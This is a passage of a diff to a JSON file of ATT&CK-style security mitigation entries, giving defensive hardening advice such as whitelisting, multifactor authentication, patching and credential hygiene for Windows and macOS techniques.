Application Startup Mitigation" + }, + { + "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5" + }, + "value": "Windows Admin Shares Mitigation" + }, + { + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved [[CiteRef:: Securing bash history]].", + "meta": { + "uuid": "3a24df54-e15f-4fcd-819d-a5767944a94e" + }, + "value": "Clear Command History Mitigation" + }, { "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", "meta": { @@ -1067,18 +304,11 @@ "value": "Custom Cryptographic Protocol Mitigation" }, { - "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]] that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", "meta": { - "uuid": "b6a8f1a8-34d3-47f8-b562-53ec1ed07019" + "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a" }, - "value": "Create Account Mitigation" - }, - { - "description": "Prevent users from being able to write files to the search paths for applications - both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.", - "meta": { - "uuid": "cb7ac4a3-9a66-4fb5-b48e-4babb57609ee" - }, - "value": "Dylib Hijacking Mitigation" + "value": "Remote File Copy Mitigation" }, { "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences.[[CiteRef::Microsoft MS14-025]]", @@ -1088,11 +318,39 @@ "value": "Credentials in Files Mitigation" }, { - "description": "Holding the Shift key while logging in prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]]. This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate.[[CiteRef::Wikipedia HPKP]]", "meta": { - "uuid": "9793928c-dc6e-4f6d-b23d-47112503be75" + "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c" }, - "value": "Re-opened Applications Mitigation" + "value": "Install Root Certificate Mitigation" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7" + }, + "value": "Standard Cryptographic Protocol Mitigation" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95" + }, + "value": "Commonly Used Port Mitigation" + }, + { + "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "f0a42cad-9b1f-44da-a672-718f18381018" + }, + "value": "Taint Shared Content Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f" + }, + "value": "Peripheral Device Discovery Mitigation" }, { "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", @@ -1102,25 +360,137 @@ "value": "Permission Groups Discovery Mitigation" }, { - "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating [[Credential Access]] techniques and limiting account access and permissions of [[Technique/T1078|Valid Accounts]].\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by Windows utilities like AppLocker.[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]]", "meta": { - "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2" + "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec" }, - "value": "Logon Scripts Mitigation" + "value": "Netsh Helper DLL Mitigation" }, { - "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system.[[CiteRef::NSA MS AppLocker]][[CiteRef::TechNet Trusted Publishers]][[CiteRef::Securelist Digital Certificates]]", + "description": "Upgrade the operating system to a newer version of Windows if using a version prior to Vista. \n\nLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", "meta": { - "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08" + "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3" }, - "value": "Code Signing Mitigation" + "value": "Winlogon Helper DLL Mitigation" }, { - "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "1b727aaa-8274-425a-9a68-fd51d05434d8" + "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67" }, - "value": "Gatekeeper Bypass Mitigation" + "value": "System Information Discovery Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "015ba1e5-0da6-41bc-8638-f523e6523f9d" + }, + "value": "Network Share Discovery Mitigation" + }, + { + "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins.[[CiteRef::Berkley Secure]]", + "meta": { + "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6" + }, + "value": "Remote Desktop Protocol Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2" + }, + "value": "Remote System Discovery Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae" + }, + "value": "Security Software Discovery Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2" + }, + "value": "System Service Discovery Mitigation" + }, + { + "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", + "meta": { + "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8" + }, + "value": "Disabling Security Tools Mitigation" + }, + { + "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307" + }, + "value": "System Time Discovery Mitigation" + }, + { + "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries.[[CiteRef::Microsoft GitHub Device Guard CI Policies]][[CiteRef::Exploit Monday Mitigate Device Guard Bypases]][[CiteRef::GitHub mattifestation DeviceGuardBypass]][[CiteRef::SubTee MSBuild]]", + "meta": { + "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0" + }, + "value": "Trusted Developer Utilities Mitigation" + }, + { + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for [[Privilege Escalation]] weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", + "meta": { + "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf" + }, + "value": "Modify Existing Service Mitigation" + }, + { + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [[Technique/T1111|Two-Factor Authentication Interception]] techniques for some two-factor authentication implementations.", + "meta": { + "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2" + }, + "value": "External Remote Services Mitigation" + }, + { + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit.[[CiteRef::SRD EMET]]", + "meta": { + "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502" + }, + "value": "Exploitation of Vulnerability Mitigation" + }, + { + "description": "Prevent files from having a trailing space after the extension.", + "meta": { + "uuid": "e6be0c76-b484-431c-a0b5-4a2ec0357fa7" + }, + "value": "Space after Filename Mitigation" + }, + { + "description": "Prevent adversaries from gaining access to credentials through [[Credential Access]] that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] and Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d" + }, + "value": "Graphical User Interface Mitigation" + }, + { + "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [[Technique/T1078|Valid Accounts]]. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform [[Lateral Movement]] between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", + "meta": { + "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e" + }, + "value": "Pass the Hash Mitigation" + }, + { + "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]", + "meta": { + "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf" + }, + "value": "Windows Management Instrumentation Mitigation" + }, + { + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", + "meta": { + "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b" + }, + "value": "Local Port Monitor Mitigation" }, { "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices.[[CiteRef::NSA Spotting]]", @@ -1130,11 +500,333 @@ "value": "Windows Remote Management Mitigation" }, { - "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [[Technique/T1068|Exploitation of Vulnerability]] to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through [[Credential Access]] and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network.[[CiteRef::US-CERT Alert TA15-314A Web Shells]]", + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "bcc91b8c-f104-4710-964e-1d5409666736" + "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3" }, - "value": "Web Shell Mitigation" + "value": "Network Service Scanning Mitigation" + }, + { + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]", + "meta": { + "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac" + }, + "value": "Security Support Provider Mitigation" + }, + { + "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.[[CiteRef::ADSecurity AD Kerberos Attacks]]\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.[[CiteRef::CERT-EU Golden Ticket Protection]]\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d" + }, + "value": "Pass the Ticket Mitigation" + }, + { + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe" + }, + "value": "Uncommonly Used Port Mitigation" + }, + { + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.", + "meta": { + "uuid": "658ca7e1-d263-464d-ae76-8cae670d0e54" + }, + "value": "Setuid and Setgid Mitigation" + }, + { + "description": "Holding the Shift key while logging in prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]]. This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "meta": { + "uuid": "9793928c-dc6e-4f6d-b23d-47112503be75" + }, + "value": "Re-opened Applications Mitigation" + }, + { + "description": "Audit and/or block command-line interpreters by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04" + }, + "value": "Command-Line Interface Mitigation" + }, + { + "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52" + }, + "value": "Multi-Stage Channels Mitigation" + }, + { + "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", + "meta": { + "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908" + }, + "value": "DLL Side-Loading Mitigation" + }, + { + "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]]. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "meta": { + "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930" + }, + "value": "Third-party Software Mitigation" + }, + { + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.", + "meta": { + "uuid": "5d9342dd-12f8-40ac-bf74-fb9d67824ae0" + }, + "value": "LC_LOAD_DYLIB Addition Mitigation" + }, + { + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "meta": { + "uuid": "a38901d2-54e8-441b-8e70-e4d8c9e558a6" + }, + "value": "LC_MAIN Hijacking Mitigation" + }, + { + "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]] that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "meta": { + "uuid": "b6a8f1a8-34d3-47f8-b562-53ec1ed07019" + }, + "value": "Create Account Mitigation" + }, + { + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [[Technique/T1056|Input Capture]] and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [[Technique/T1110|Brute Force]] techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152" + }, + "value": "Automated Collection Mitigation" + }, + { + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d" + }, + "value": "Audio Capture Mitigation" + }, + { + "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", + "meta": { + "uuid": "10571bf2-8073-4edf-a71c-23bad225532e" + }, + "value": "AppInit DLLs Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97" + }, + "value": "Account Discovery Mitigation" + }, + { + "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294" + }, + "value": "Automated Exfiltration Mitigation" + }, + { + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.[[CiteRef::TechNet RDP NLA]]\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.[[CiteRef::TechNet RDP Gateway]]\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8" + }, + "value": "Accessibility Features Mitigation" + }, + { + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "meta": { + "uuid": "82214f89-9374-4169-8d93-1ea6df7c76e7" + }, + "value": "Launch Agent Mitigation" + }, + { + "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]].\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "meta": { + "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425" + }, + "value": "Account Manipulation Mitigation" + }, + { + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]", + "meta": { + "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5" + }, + "value": "Authentication Package Mitigation" + }, + { + "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e" + }, + "value": "Redundant Access Mitigation" + }, + { + "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "meta": { + "uuid": "13d64a9b-0ba0-42df-8e59-ff8bcf11bba5" + }, + "value": "Application Shimming Mitigation" + }, + { + "description": "Take measures to detect or prevent techniques such as [[Technique/T1003|Credential Dumping]] or installation of keyloggers to acquire credentials through [[Technique/T1056|Input Capture]]. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local 